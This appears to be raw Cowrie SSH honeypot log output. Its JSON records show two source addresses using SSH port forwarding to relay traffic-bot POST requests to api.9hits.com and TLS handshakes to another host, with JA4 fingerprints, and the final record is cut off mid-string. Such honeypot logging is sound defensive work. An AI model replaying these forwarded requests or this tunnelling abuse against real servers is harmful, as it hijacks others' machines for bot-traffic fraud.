{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=IWI5bExBVHY4Qm9EIzMlZw%3D%3D9NWw%2FbxPqKyle6sBMTcWB3MvAcXZqqCEWE17uWW1g6Ey%2FYLjmy1%2F2Ss5kX63qF2UawRdnliqt1pGIP7CbSyJtp%2FhW7lgM02wOc5gfg%2FhIVvth84QwBmkSvxCdZ2uBuL1YhF6c58kMS38xaven0c9e%2BUJuSFtxpMFHSYJUhmtg%2Bjv8vyumk2%2F934YDqmvngvrwB4PYr5j8VNFTvnbcRCn90JVZYwAvPg5FS2EFog5koPmVS2oAwap%2FwI8XaguFwVgb%2FbIQTofY7kfQLU0l1BB7KD23wFRjluuqaIP9huq4eG4X3%2FA1w2D6zzSTinKowfcOrPqoUia4RSvI1vQAP7yzYrIHQ6hBfVjniX0bbNZai2f%2BAtIoZkRaNcOk8KSmJEpz2y9i3FilS3DGqsQEw29QldEEVLRdqUF2XWXUxPBMxeF%2FLp%2BTrjFNQKJBlBMgxPMdDv%2BkMoSht%2BR9c1DVuN4d4R9AxX7A9QezvCPd3boSu7F0RZrPImJLUqKkBWJdRuhgTR6jkQ8%2FOESowzfkU6bE%2FOmqL9OMP9fFDDo9ynMkIMZvPx2QR7TFqCalwssBFH3RfTUiSW13oSwjnRt9RdRx6qEfF5CHnS7ruY2W1qx3G%2BZ0Qe94%2F677zINGg5AYWmf2Af0mnKF6TxBufuwRpvVaml3U80J8oo40nmyNbn30A90Jje5oGUsRDt%2Fx0R3yMYdVkWanu061r6WrZ%2F03%2F7zGE2NNZHPy5YLHtbJsUxTvRdhPDy05mYm7zt00TrUS9CRWbZ8rN57qxD0SG70PBW2%2BZQoFmRNR0FBplIcK8v%2Fx2ulhBgYrGmhHgXAIcPb6AnlRzcQNDb6uBNIsNhFlynXs3i7t2TD4bRtC%2BOz%2ByVaP14mDKJKssdAQahH9zZU8yLVRBnQs%2Fm9IhzdOroWxxchwfQb7uMv6yx2%2BRwlHDkO0mNDRHu%2FnYbHm0tSfN8QtHEHMrPoACtCy3NFL8lVeeI8cIUX7JGrvb2V6XybGLYVN9sBGjaNYY2dRaDDAn5trg3mWalu9IqbF9m8eKclIwgQO01LA7GRNJ83GH3kN0Pf0Hw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=IWI5bExBVHY4Qm9EIzMlZw%3D%3D9NWw%2FbxPqKyle6sBMTcWB3MvAcXZqqCEWE17uWW1g6Ey%2FYLjmy1%2F2Ss5kX63qF2UawRdnliqt1pGIP7CbSyJtp%2FhW7lgM02wOc5gfg%2FhIVvth84QwBmkSvxCdZ2uBuL1YhF6c58kMS38xaven0c9e%2BUJuSFtxpMFHSYJUhmtg%2Bjv8vyumk2%2F934YDqmvngvrwB4PYr5j8VNFTvnbcRCn90JVZYwAvPg5FS2EFog5koPmVS2oAwap%2FwI8XaguFwVgb%2FbIQTofY7kfQLU0l1BB7KD23wFRjluuqaIP9huq4eG4X3%2FA1w2D6zzSTinKowfcOrPqoUia4RSvI1vQAP7yzYrIHQ6hBfVjniX0bbNZai2f%2BAtIoZkRaNcOk8KSmJEpz2y9i3FilS3DGqsQEw29QldEEVLRdqUF2XWXUxPBMxeF%2FLp%2BTrjFNQKJBlBMgxPMdDv%2BkMoSht%2BR9c1DVuN4d4R9AxX7A9QezvCPd3boSu7F0RZrPImJLUqKkBWJdRuhgTR6jkQ8%2FOESowzfkU6bE%2FOmqL9OMP9fFDDo9ynMkIMZvPx2QR7TFqCalwssBFH3RfTUiSW13oSwjnRt9RdRx6qEfF5CHnS7ruY2W1qx3G%2BZ0Qe94%2F677zINGg5AYWmf2Af0mnKF6TxBufuwRpvVaml3U80J8oo40nmyNbn30A90Jje5oGUsRDt%2Fx0R3yMYdVkWanu061r6WrZ%2F03%2F7zGE2NNZHPy5YLHtbJsUxTvRdhPDy05mYm7zt00TrUS9CRWbZ8rN57qxD0SG70PBW2%2BZQoFmRNR0FBplIcK8v%2Fx2ulhBgYrGmhHgXAIcPb6AnlRzcQNDb6uBNIsNhFlynXs3i7t2TD4bRtC%2BOz%2ByVaP14mDKJKssdAQahH9zZU8yLVRBnQs%2Fm9IhzdOroWxxchwfQb7uMv6yx2%2BRwlHDkO0mNDRHu%2FnYbHm0tSfN8QtHEHMrPoACtCy3NFL8lVeeI8cIUX7JGrvb2V6XybGLYVN9sBGjaNYY2dRaDDAn5trg3mWalu9IqbF9m8eKclIwgQO01LA7GRNJ83GH3kN0Pf0Hw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:53.960778Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:54.185240Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x07\\x15\\xc6$\\xf7{8\\x88\\x88\\xc9\\r\\xb9\\x92\\x12\\xe0\\x8byY^\\nl\\xde\\x94-\\x14\\x12Wf\\xa5\\xd6S \\xae\\xe7\\x19\\xa8\\x81\\x15?xq<\\x16\\x0cG\\x9b\\x8d\\xb6\\xb9\\x14$\\xb7G\\x92\\xd1\\xa00\\x81yN\\x9d\\xc4g\\xe5\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\xb8\\x0f\\x97\\xccv\\x12\\x1f\\xdfN\\t{d\\xa8Eq\\xaf\\xac\\x84$\\x05XW\\xb3O\\xa1\\xb1}\\xb3\\x85\\xcbs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x07\\x15\\xc6$\\xf7{8\\x88\\x88\\xc9\\r\\xb9\\x92\\x12\\xe0\\x8byY^\\nl\\xde\\x94-\\x14\\x12Wf\\xa5\\xd6S \\xae\\xe7\\x19\\xa8\\x81\\x15?xq<\\x16\\x0cG\\x9b\\x8d\\xb6\\xb9\\x14$\\xb7G\\x92\\xd1\\xa00\\x81yN\\x9d\\xc4g\\xe5\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf9\\xb8\\x0f\\x97\\xccv\\x12\\x1f\\xdfN\\t{d\\xa8Eq\\xaf\\xac\\x84$\\x05XW\\xb3O\\xa1\\xb1}\\xb3\\x85\\xcbs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:54.188396Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:54.637537Z","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:54.868935Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaaPC\\xf2\\xe8\\xd7\\x88\\xd04\\xa8}\\xe3=\\xa0\\xe6\\xa7]\\x16\\xdb\\xe9\\xb3\\xda6$_\\xed\"\\xcf+\\x90\\xa6s 4JmnB\\xae\\xb7\\x96\\x89&6\\x84\\xa4\\xf7\\xf6Y\\xf3\\x88\\xa8f\\x88g\\x11\\x9c\\x19\\x81\\xac\\xf5U\\xc6\\xe9\\xe1\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea\\x1b\\xa2K\\xd0\\x16\\x86\\xedf\\xa6\\xc9\\xdeg\\x9dPh\\x10a\\xab\\x00\\x08\\x0bQgYMK\\x90T\\x19\\x13|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaaPC\\xf2\\xe8\\xd7\\x88\\xd04\\xa8}\\xe3=\\xa0\\xe6\\xa7]\\x16\\xdb\\xe9\\xb3\\xda6$_\\xed\"\\xcf+\\x90\\xa6s 4JmnB\\xae\\xb7\\x96\\x89&6\\x84\\xa4\\xf7\\xf6Y\\xf3\\x88\\xa8f\\x88g\\x11\\x9c\\x19\\x81\\xac\\xf5U\\xc6\\xe9\\xe1\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea\\x1b\\xa2K\\xd0\\x16\\x86\\xedf\\xa6\\xc9\\xdeg\\x9dPh\\x10a\\xab\\x00\\x08\\x0bQgYMK\\x90T\\x19\\x13|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:54.871770Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:55.233201Z","src_ip":"123.27.168.40","session":"4056c83e8d07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:55.642734Z","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:55.647817Z","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:55.684097Z","src_ip":"23.148.145.132","session":"cd739bac9e42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 Mobile/17B111 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cl5DWmY2ZCNwNTFqNE9CWQ%3D%3Df73muf0CQmQnNoQ8Xbnf%2BmaW1cFvxQ7PVpuwydT2eoue1e4xw6XYVplTZxBdcAG1yZ7G6PpUFNxh%2FrEKzumQxe9Btr7ScK3vXWHr17oGb1giRZiOYhFjH27Yi8wNIr12nKYjmO5YJ6%2F5SmtprP2lJp0Ddmp8nqcYfEtWpQWzM5Oi3tr1FtrNF%2B6hTELrSS2U9X%2B5iv5BUII6XtMJfmUkL9xMAgZs6OUtjmwzzY4viozigvvvnYzHvM%2BGuQq15QLuvNns6m0hqKC1m%2Bw9kzReyIwieYoMPXs81pJlHC%2FR%2FNMTiZLJGcQil7%2B9ZD7c8M3sNcVwMVXu8T8mw3H%2BauMmCoFjFpOB%2FEtzIh2fiq0o4LqaaFSjYVmZ0gZ%2B%2B2B%2FzTpAUII0%2BNeLaP3p1NXug4Pt1Ei%2BSLplHEY%2B18tySK5MtVVnLUoqKv2IP%2FPDTJaSABfbF9073bN10HVg4DELYVoRzu4%2FUoRQ74j%2FPFAESISVPTR80bTziYfX8ks7%2BdWYsPlmQo1hGocPk5Jl8f0JlrHPV6dMKaQCuKg4Txz5UPE5IuWj6FTuw7oON8QwTj4QMhy6PW1gEPfyBNO15eayKqZ6Qx2vVVNPpbdCVizWi6VUqzg8VV2ilBYWq706YW4b39X8y%2F%2BiK0j5k8ecZImeBixnDdPNGThSdk9C7cTJ%2F95%2Ff5NrG2eANmKeaW3w%2B7a2ZaU1w0yYTvBIP%2FarnlZDDfmI6qc5CX0DzNXbeu9RrCZMBenBf6qEu9wxjlNEJQMYHybICi%2B1jem%2FOOk%2BfbNY3Ps8t9J2RHV%2Ff89keFnjq%2BiKEwCVj7hKiawP3YwlKsXSFxLn%2FHvzgX0EUhmSzvMJ%2Fml8FsMw1BwoX30tTx21jc6L8bHl8YH1rc6eos%2BeJzYlLXtZCZWgSU051tVAo8uMO%2BWSQ2NQkfrXr6UPfKu3cdiu7tABxR1lyLGElfxy2Uy9hHfu03DiJo96d9yNxY0K%2FoHsb5mWdDwuTsTlwjfMymJiH0iEpNpuAnnBfBYIOYDN%2FG9egLjmIEe7z9%2BAcifOe1loQK5JZVn5KLJ%2FUrbgP6Rf%2BrFeatHx10jV2BNy8133n5HJ'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 Mobile/17B111 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cl5DWmY2ZCNwNTFqNE9CWQ%3D%3Df73muf0CQmQnNoQ8Xbnf%2BmaW1cFvxQ7PVpuwydT2eoue1e4xw6XYVplTZxBdcAG1yZ7G6PpUFNxh%2FrEKzumQxe9Btr7ScK3vXWHr17oGb1giRZiOYhFjH27Yi8wNIr12nKYjmO5YJ6%2F5SmtprP2lJp0Ddmp8nqcYfEtWpQWzM5Oi3tr1FtrNF%2B6hTELrSS2U9X%2B5iv5BUII6XtMJfmUkL9xMAgZs6OUtjmwzzY4viozigvvvnYzHvM%2BGuQq15QLuvNns6m0hqKC1m%2Bw9kzReyIwieYoMPXs81pJlHC%2FR%2FNMTiZLJGcQil7%2B9ZD7c8M3sNcVwMVXu8T8mw3H%2BauMmCoFjFpOB%2FEtzIh2fiq0o4LqaaFSjYVmZ0gZ%2B%2B2B%2FzTpAUII0%2BNeLaP3p1NXug4Pt1Ei%2BSLplHEY%2B18tySK5MtVVnLUoqKv2IP%2FPDTJaSABfbF9073bN10HVg4DELYVoRzu4%2FUoRQ74j%2FPFAESISVPTR80bTziYfX8ks7%2BdWYsPlmQo1hGocPk5Jl8f0JlrHPV6dMKaQCuKg4Txz5UPE5IuWj6FTuw7oON8QwTj4QMhy6PW1gEPfyBNO15eayKqZ6Qx2vVVNPpbdCVizWi6VUqzg8VV2ilBYWq706YW4b39X8y%2F%2BiK0j5k8ecZImeBi